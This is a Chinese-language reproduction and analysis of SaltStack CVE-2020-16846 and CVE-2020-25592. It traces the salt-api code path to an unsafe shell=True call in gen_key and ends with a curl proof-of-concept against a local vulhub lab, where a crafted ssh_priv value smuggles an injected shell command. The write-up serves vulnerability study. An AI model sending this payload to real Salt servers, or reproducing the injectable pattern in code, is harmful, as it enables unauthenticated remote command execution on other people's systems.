SaltStack命令注入漏洞(CVE-2020-16846)漏洞复现与分析

漏洞描述

CVE-2020-16846: 命令注入漏洞

未经过身份验证的攻击者通过发送特制请求包,可通过Salt API注入ssh连接命令。导致命令执行。

CVE-2020-25592: 验证绕过漏洞

Salt 在验证eauth凭据和访问控制列表ACL时存在一处验证绕过漏洞。

未经过身份验证的远程攻击者通过发送特制的请求包,可以通过salt-api绕过身份验证,并使用salt ssh连接目标服务器。结合CVE-2020-16846能造成命令执行。

漏洞环境

vulhub/saltstack/CVE-2020-16846 at master · vulhub/vulhub

漏洞分析

查看gitlab的patch

CVE-2020-16846

patch:
patches/2020/09/02/3002.patch · master · saltstack / open / salt-patches · GitLab

salt/client/ssh/shell.py文件。

1
2
3
4
5
6
7
8
def gen_key(path):
"""
Generate a key for use with salt-ssh
"""
cmd = 'ssh-keygen -P "" -f {0} -t rsa -q'.format(path)
if not os.path.isdir(os.path.dirname(path)):
os.makedirs(os.path.dirname(path))
subprocess.call(cmd, shell=True)

使用ssh-keygen命令生成ssh的密钥,path变量内容直接使用format放入cmd中,使用subprocess.call执行,配置了shell=True参数,使用这个参数会直接将整个字符串用shell解释,相当于同样的语句放在终端中运行。修复之后shell默认为falsecmd需要为列表类型,程序会默认将列表第一个项作为命令,后续作为命令参数执行。

path参数可控即可造成命令执行。

CVE-2020-25592

patch:
patches/2020/09/25/3002.patch · master · saltstack / open / salt-patches · GitLab

/salt/netapi/__init__.py文件中增加的代码对low["client"] == "ssh"的情况增加了token/eauth的验证,来修复验证绕过。

入口分析

SaltStack利用cherrypytornado两个框架实现了api。

/salt/netapi/rest_cherrypy/app.pyLowDataAdapter类调用了salt.netapi.NetapiClient类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
class LowDataAdapter:
"""
The primary entry point to Salt's REST API

"""

exposed = True

_cp_config = {
# cherrypy的一些配置
}

def __init__(self):
self.opts = cherrypy.config["saltopts"]
self.apiopts = cherrypy.config["apiopts"]
self.api = salt.netapi.NetapiClient(self.opts) # 使用了NetapiClient类

def exec_lowstate(self, client=None, token=None): # 主要执行函数
"""
Pull a Low State data structure from request and execute the low-data
chunks through Salt. The low-data chunks will be updated to include the
authorization token for the current session.
"""
lowstate = cherrypy.request.lowstate

# Release the session lock before executing any potentially
# long-running Salt commands. This allows different threads to execute
# Salt commands concurrently without blocking.
if cherrypy.request.config.get("tools.sessions.on", False):
cherrypy.session.release_lock()

# if the lowstate loaded isn't a list, lets notify the client
if not isinstance(lowstate, list):
raise cherrypy.HTTPError(400, "Lowstates must be a list")

# Make any requested additions or modifications to each lowstate, then
# execute each one and yield the result.
for chunk in lowstate: # 是否存在token
if token:
chunk["token"] = token

if "token" in chunk: # 验证token合法性
# Make sure that auth token is hex
try:
int(chunk["token"], 16)
except (TypeError, ValueError):
raise cherrypy.HTTPError(401, "Invalid token")

if client: # 赋值client,
chunk["client"] = client

# Make any 'arg' params a list if not already.
# This is largely to fix a deficiency in the urlencoded format.
if "arg" in chunk and not isinstance(chunk["arg"], list):
chunk["arg"] = [chunk["arg"]]

ret = self.api.run(chunk) # 调用NetapiClient类run函数

# Sometimes Salt gives us a return and sometimes an iterator
if isinstance(ret, Iterator): # 协程
yield from ret
else:
yield ret

之后来看NetapiClient.run

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def run(self, low):
"""
Execute the specified function in the specified client by passing the
lowstate
"""
# Eauth currently requires a running daemon and commands run through
# this method require eauth so perform a quick check to raise a
# more meaningful error.
if not self._is_master_running(): # 查看主守护进程是否正在运行
raise salt.exceptions.SaltDaemonNotRunning("Salt Master is not available.")

if low.get("client") not in CLIENTS: # 查看调用api是否开放
raise salt.exceptions.SaltInvocationError(
"Invalid client specified: '{0}'".format(low.get("client"))
)

if not ("token" in low or "eauth" in low): # 如果没有eauth或者token则判定身份认证失败
raise salt.exceptions.EauthAuthenticationError(
"No authentication credentials given"
)

if low.get("raw_shell") and not self.opts.get("netapi_allow_raw_shell"):
raise salt.exceptions.EauthAuthenticationError(
"Raw shell option not allowed."
)

l_fun = getattr(self, low["client"]) # 调用函数,low["client"]=> "ssh",即调用self.ssh
f_call = salt.utils.args.format_call(l_fun, low)
return l_fun(*f_call.get("args", ()), **f_call.get("kwargs", {}))

NetapiClient.ssh()

1
2
3
4
5
6
7
8
9
10
11
12
def ssh(self, *args, **kwargs):
"""
Run salt-ssh commands synchronously

Wraps :py:meth:`salt.client.ssh.client.SSHClient.cmd_sync`.

:return: Returns the result from the salt-ssh command
"""
ssh_client = salt.client.ssh.client.SSHClient(
mopts=self.opts, disable_custom_roster=True
) #
return ssh_client.cmd_sync(kwargs)

salt.client.ssh.client.SSHClient,初始化函数没有ssh相关类调用,看cmd_sync函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def cmd_sync(self, low):
# 参数处理,忽略无效参数,传入cmd函数执行
kwargs = copy.deepcopy(low)

for ignore in ["tgt", "fun", "arg", "timeout", "tgt_type", "kwarg"]:
if ignore in kwargs:
del kwargs[ignore]

return self.cmd(
low["tgt"],
low["fun"],
low.get("arg", []),
low.get("timeout"),
low.get("tgt_type"),
low.get("kwarg"),
**kwargs
)

cmd函数

1
2
3
4
5
6
7
8
9
10
11
12
def cmd(
self, tgt, fun, arg=(), timeout=None, tgt_type="glob", kwarg=None, **kwargs
):
"""
通过salt-ssh子系统执行单个命令,并立即返回所有程序
重点看_prep_ssh函数创建的ssh执行子系统
"""
ssh = self._prep_ssh(tgt, fun, arg, timeout, tgt_type, kwarg, **kwargs)
final = {}
for ret in ssh.run_iter(jid=kwargs.get("jid", None)):
final.update(ret)
return final

_prep_ssh函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def _prep_ssh(
self, tgt, fun, arg=(), timeout=None, tgt_type="glob", kwarg=None, **kwargs
):
"""
解析参数
"""
opts = copy.deepcopy(self.opts)
opts.update(kwargs)
if timeout:
opts["timeout"] = timeout
arg = salt.utils.args.condition_input(arg, kwarg)
opts["argv"] = [fun] + arg
opts["selected_target_option"] = tgt_type
opts["tgt"] = tgt
opts["arg"] = arg
return salt.client.ssh.SSH(opts) # 创建ssh类,用于执行ssh命令

salt/client/ssh/__init__.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class SSH:
def __init__(self, opts):
"""
大部分初始化省略
"""
# If we're in a wfunc, we need to get the ssh key location from the
# top level opts, stored in __master_opts__
if "__master_opts__" in self.opts:
if self.opts["__master_opts__"].get("ssh_use_home_key") and os.path.isfile(
os.path.expanduser("~/.ssh/id_rsa")
):
priv = os.path.expanduser("~/.ssh/id_rsa")
else:
priv = self.opts["__master_opts__"].get(
"ssh_priv",
os.path.join(
self.opts["__master_opts__"]["pki_dir"], "ssh", "salt-ssh.rsa"
),
)
else:
priv = self.opts.get(
"ssh_priv", os.path.join(self.opts["pki_dir"], "ssh", "salt-ssh.rsa")
) # 从opts中获取ssh_priv,opts为输入参数,ssh_priv可控
if priv != "agent-forwarding":
if not os.path.isfile(priv): # 如果priv变量不是文件就用gen_key函数生成。
try:
salt.client.ssh.shell.gen_key(priv) # 命令执行点
except OSError:
raise salt.exceptions.SaltClientError(
"salt-ssh could not be run because it could not generate keys.\n\n"
"You can probably resolve this by executing this script with "
"increased permissions via sudo or by running as root.\n"
"You could also use the '-c' option to supply a configuration "
"directory that you have permissions to read and write to."
)

最后进入漏洞点,拼接shell命令即可造成命令执行。

漏洞复现

payload:

1
2
3
curl -v -sk -X POST https://127.0.0.1:8000/run \
-H 'Content-Type: application/json' \
-d '{"client":"ssh","tgt":"*","fun":"anything","eauth":"anything","ssh_priv":"/dev/null < /dev/null; touch /tmp/1.txt #"}'